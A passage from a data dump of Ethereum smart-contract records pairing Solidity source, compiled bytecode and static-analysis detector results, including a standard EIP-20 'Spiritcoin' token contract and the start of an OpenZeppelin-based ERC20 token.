5b60521b602082015260400192915050565b6000612f87602a83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b6000612fd3601583613678565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000613004603683613678565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906130608482612703565b5060208201516130736020850182612703565b50604082015161105c6040850182613098565b61257e816136a7565b61257e816136e1565b61257e816136ad565b60006130ac8261293b565b91506130b88285612715565b6020820191506130c88284612715565b5060200192915050565b600061177882612b89565b600061177882612bf4565b602081016117788284612584565b604081016131048285612575565b611b40602083018461270c565b60a0810161311f8287612584565b61312c60208301866127fa565b818103604083015261313d816129cd565b905081810360608301526131518185612726565b9050611490608083018461270c565b604081016131048285612584565b6080810161317c8287612584565b613189602083018661270c565b6131966040830185612703565b611490606083018461308f565b60a081016131b18288612584565b6131be602083018761270c565b81810360408301526131d08186612726565b905081810360608301526131e48185612726565b90506131f3608083018461270c565b9695505050505050565b60a0810161320b8288612584565b613218602083018761270c565b818103604083015261322a818661275e565b905081810360608301526131e4818561275e565b6080808252810161324f818761258d565b9050818103602083015261326381866126b5565b905081810360408301526132778185612654565b905081810360608301526131f381846125e6565b60208101611778828461270c565b608081016132a7828761270c565b6132b4602083018661270c565b6132c1604083018561270c565b6114906060830184612584565b606081016132dc828661270c565b6132e9602083018561270c565b6122a66040830184612703565b60808101613304828761270c565b6133116020830186613086565b61331e604083018561270c565b611490606083018461270c565b6020810161177882846127e8565b6020810161177882846127f1565b60208082528101611b408184612726565b6020808252810161177881612803565b6020808252810161177881612862565b60208082528101611778816128ce565b6020808252810161177881612959565b6020808252810161177881612a06565b6020808252810161177881612a51565b6020808252810161177881612aa0565b6020808252810161177881612b12565b6020808252810161177881612b5c565b6020808252810161177881612c3d565b6020808252810161177881612ca9565b6020808252810161177881612cfa565b6020808252810161177881612d59565b6020808252810161177881612dc5565b6020808252810161177881612e24565b6020808252810161177881612e72565b6020808252810161177881612ed1565b6020808252810161177881612f22565b6020808252810161177881612f7a565b6020808252810161177881612fc6565b6020808252810161177881612ff7565b60608101611778828461304f565b61012081016134c5828c61270c565b6134d2602083018b612575565b81810360408301526134e4818a61258d565b905081810360608301526134f881896126b5565b9050818103608083015261350c8188612654565b905081810360a083015261352081876125e6565b905061352f60c083018661270c565b61353c60e083018561270c565b81810361010083015261354f8184612726565b9b9a5050505050505050505050565b610120810161356d828c61270c565b61357a602083018b612584565b613587604083018a61270c565b613594606083018961270c565b6135a1608083018861270c565b6135ae60a083018761270c565b6135bb60c083018661270c565b6135c860e0830185612703565b6135d6610100830184612703565b9a9950505050505050505050565b60408101613104828561270c565b60405181810167ffffffffffffffff8111828210171561361157600080fd5b604052919050565b600067ffffffffffffffff82111561363057600080fd5b5060209081020190565b600067ffffffffffffffff82111561365157600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006117788261369b565b151590565b80610aa78161372e565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b6000611778825b600061177882613681565b600061177882613691565b600061177882610535565b6000611778826136ad565b82818337506000910152565b60005b838110156137135781810151838201526020016136fb565b8381111561105c5750506000910152565b601f01601f191690565b60088110611ffa57fe5b61374181613681565b8114611ffa57600080fd5b6137418161368c565b61374181610535565b613741816136a7565b613741816136ad56fea365627a7a723158207a05c1e476ff91e93ecda40dfa2da455581c3c442a3430e23562b748ef12f42c6c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 857 |
0x90B7283B75A9a496c9E110DCA3cA637C649A9049 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract QuickToken {
/// @notice EIP-20 token name for this token
string public constant name = "Spiritcoin";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SPIRIT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 2;
/// @notice Total number of tokens in circulation
uint public totalSupply = 2000000000000; // 10 billion spirit
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Quick token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
*/
constructor(address account, address minter_) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Quick::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Quick::mint: only the minter can mint");
require(dst != address(0), "Quick::mint: cannot transfer to the zero address");
// mint the amount
uint96 amount = safe96(rawAmount, "Quick::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Quick::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Quick::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Quick::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Quick::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Quick::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Quick::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Quick::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Quick::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Quick::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80635c11d62f1161008c57806395d89b411161006657806395d89b411461024f578063a9059cbb1461026d578063dd62ed3e1461029d578063fca3b5aa146102cd576100ea565b80635c11d62f146101e357806370a082311461020157806376c71ca114610231576100ea565b806318160ddd116100c857806318160ddd1461015b57806323b872dd14610179578063313ce567146101a957806340c10f19146101c7576100ea565b806306fdde03146100ef578063075461721461010d578063095ea7b31461012b575b600080fd5b6100f76102e9565b604051610104919061186f565b60405180910390f35b610115610322565b6040516101229190611810565b60405180910390f35b61014560048036036101409190810190611424565b610348565b6040516101529190611854565b60405180910390f35b6101636104db565b60405161017091906119b3565b60405180910390f35b610193600480360361018e91908101906113d5565b6104e1565b6040516101a09190611854565b60405180910390f35b6101b1610775565b6040516101be91906119e9565b60405180910390f35b6101e160048036036101dc9190810190611424565b61077a565b005b6101eb610aab565b6040516101f891906119ce565b60405180910390f35b61021b60048036036102169190810190611370565b610ab3565b60405161022891906119b3565b60405180910390f35b610239610b22565b60405161024691906119e9565b60405180910390f35b610257610b27565b604051610264919061186f565b60405180910390f35b61028760048036036102829190810190611424565b610b60565b6040516102949190611854565b60405180910390f35b6102b760048036036102b29190810190611399565b610b9d565b6040516102c491906119b3565b60405180910390f35b6102e760048036036102e29190810190611370565b610c4a565b005b6040518060400160405280600a81526020017f537069726974636f696e0000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561039b577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506103c0565b6103bd83604051806060016040528060268152602001611b9c60269139610d79565b90505b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516104c89190611a04565b60405180910390a3600191505092915050565b60005481565b6000803390506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006105a485604051806060016040528060268152602001611b9c60269139610d79565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561061e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561075c57600061064883836040518060600160405280603e8152602001611c11603e9139610dd7565b905080600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107529190611a04565b60405180910390a3505b610767878783610e48565b600193505050509392505050565b600281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080190611913565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561087a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610871906118d3565b60405180910390fd5b600061089e82604051806060016040528060238152602001611b7960239139610d79565b90506108ba6108b3600054600260ff16611160565b60646111d0565b816bffffffffffffffffffffffff16111561090a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090190611933565b60405180910390fd5b610945610927600054836bffffffffffffffffffffffff1661121a565b604051806060016040528060288152602001611bc260289139610d79565b6bffffffffffffffffffffffff166000819055506109d3600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060268152602001611c4f6026913961126f565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a9e9190611a04565b60405180910390a3505050565b6301e1338081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b600281565b6040518060400160405280600681526020017f535049524954000000000000000000000000000000000000000000000000000081525081565b600080610b8583604051806060016040528060278152602001611bea60279139610d79565b9050610b92338583610e48565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd1906118b3565b60405180910390fd5b7f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051610d2d92919061182b565b60405180910390a180600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006c0100000000000000000000000083108290610dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc49190611891565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e329190611891565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaf90611953565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90611993565b60405180910390fd5b610fa2600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060378152602001611c7560379139610dd7565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611089600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060318152602001611b486031913961126f565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111539190611a04565b60405180910390a3505050565b60008083141561117357600090506111ca565b600082840290508284828161118457fe5b04146111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90611973565b60405180910390fd5b809150505b92915050565b600061121283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e5565b905092915050565b600080828401905083811015611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c906118f3565b60405180910390fd5b8091505092915050565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d09190611891565b60405180910390fd5b50809150509392505050565b6000808311829061132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113239190611891565b60405180910390fd5b50600083858161133857fe5b049050809150509392505050565b60008135905061135581611b19565b92915050565b60008135905061136a81611b30565b92915050565b60006020828403121561138257600080fd5b600061139084828501611346565b91505092915050565b600080604083850312156113ac57600080fd5b60006113ba85828601611346565b92505060206113cb85828601611346565b9150509250929050565b6000806000606084860312156113ea57600080fd5b60006113f886828701611346565b935050602061140986828701611346565b925050604061141a8682870161135b565b9150509250925092565b6000806040838503121561143757600080fd5b600061144585828601611346565b92505060206114568582860161135b565b9150509250929050565b61146981611a46565b82525050565b61147881611a58565b82525050565b600061148982611a2a565b6114938185611a35565b93506114a3818560208601611ad5565b6114ac81611b08565b840191505092915050565b60006114c282611a1f565b6114cc8185611a35565b93506114dc818560208601611ad5565b6114e581611b08565b840191505092915050565b60006114fd603f83611a35565b91507f517569636b3a3a7365744d696e7465723a206f6e6c7920746865206d696e746560008301527f722063616e206368616e676520746865206d696e7465722061646472657373006020830152604082019050919050565b6000611563603083611a35565b91507f517569636b3a3a6d696e743a2063616e6e6f74207472616e7366657220746f2060008301527f746865207a65726f2061646472657373000000000000000000000000000000006020830152604082019050919050565b60006115c9601b83611a35565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611609602583611a35565b91507f517569636b3a3a6d696e743a206f6e6c7920746865206d696e7465722063616e60008301527f206d696e740000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061166f601e83611a35565b91507f517569636b3a3a6d696e743a206578636565646564206d696e742063617000006000830152602082019050919050565b60006116af603d83611a35565b91507f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e736665722066726f6d20746865207a65726f20616464726573730000006020830152604082019050919050565b6000611715602183611a35565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061177b603b83611a35565b91507f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e7366657220746f20746865207a65726f206164647265737300000000006020830152604082019050919050565b6117dd81611a84565b82525050565b6117ec81611a8e565b82525050565b6117fb81611a9e565b82525050565b61180a81611ac3565b82525050565b60006020820190506118256000830184611460565b92915050565b60006040820190506118406000830185611460565b61184d6020830184611460565b9392505050565b6000602082019050611869600083018461146f565b92915050565b6000602082019050818103600083015261188981846114b7565b905092915050565b600060208201905081810360008301526118ab818461147e565b905092915050565b600060208201905081810360008301526118cc816114f0565b9050919050565b600060208201905081810360008301526118ec81611556565b9050919050565b6000602082019050818103600083015261190c816115bc565b9050919050565b6000602082019050818103600083015261192c816115fc565b9050919050565b6000602082019050818103600083015261194c81611662565b9050919050565b6000602082019050818103600083015261196c816116a2565b9050919050565b6000602082019050818103600083015261198c81611708565b9050919050565b600060208201905081810360008301526119ac8161176e565b9050919050565b60006020820190506119c860008301846117d4565b92915050565b60006020820190506119e360008301846117e3565b92915050565b60006020820190506119fe60008301846117f2565b92915050565b6000602082019050611a196000830184611801565b92915050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b6000611a5182611a64565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000611ace82611aab565b9050919050565b60005b83811015611af3578082015181840152602081019050611ad8565b83811115611b02576000848401525b50505050565b6000601f19601f8301169050919050565b611b2281611a46565b8114611b2d57600080fd5b50565b611b3981611a84565b8114611b4457600080fd5b5056fe517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a6d696e743a20616d6f756e7420657863656564732039362062697473517569636b3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473517569636b3a3a6d696e743a20746f74616c537570706c7920657863656564732039362062697473517569636b3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473517569636b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365517569636b3a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a365627a7a723158201acca59cee0a45234d4254af69dcc91c117127f596ef3f8713bac9615cb7ffa96c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {}} | 858 |
0xb9e9cdf54db0bee1e561f425d026b4e92055c359 | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
